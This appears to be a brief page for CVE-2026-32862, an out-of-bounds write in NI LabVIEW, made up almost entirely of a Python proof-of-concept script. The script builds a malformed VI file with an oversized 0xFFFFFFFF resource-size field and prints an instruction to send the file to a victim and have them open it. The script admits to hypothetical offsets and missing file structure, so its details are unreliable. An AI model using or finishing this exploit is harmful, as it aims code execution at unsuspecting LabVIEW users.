CVE-2026-32862 NI LabVIEW越界写入致代码执行漏洞

import struct # Conceptual PoC for CVE-2026-32862 # This script generates a malformed VI file to trigger the OOB write. def create_malformed_vi(filename): # VI Header stub (simplified for demonstration) # Standard headers usually begin with specific magic bytes/versions header = b"RSRC" # Example resource marker # Malicious payload targeting InitResourceMgr() # Triggering an out-of-bounds write by specifying a size larger than the allocated buffer # Field: Resource Size (Hypothetical offset) # Normal size: 0x100 (256 bytes) # Malicious size: 0xFFFFFFFF (Max uint32, causing overflow/OOB) malicious_size = struct.pack("<I", 0xFFFFFFFF) # Padding to reach the vulnerable offset in the structure # Adjust offset based on reverse engineering of the specific version padding = b"\x00" * 0x50 # Construct the file with open(filename, "wb") as f: f.write(header) f.write(padding) f.write(malicious_size) # Additional file structure would follow here print(f"[+] Malformed VI file created: {filename}") print("[*] Send this file to a victim and have them open it in LabVIEW.") if __name__ == "__main__": create_malformed_vi("exploit_CVE_2026_32862.vi")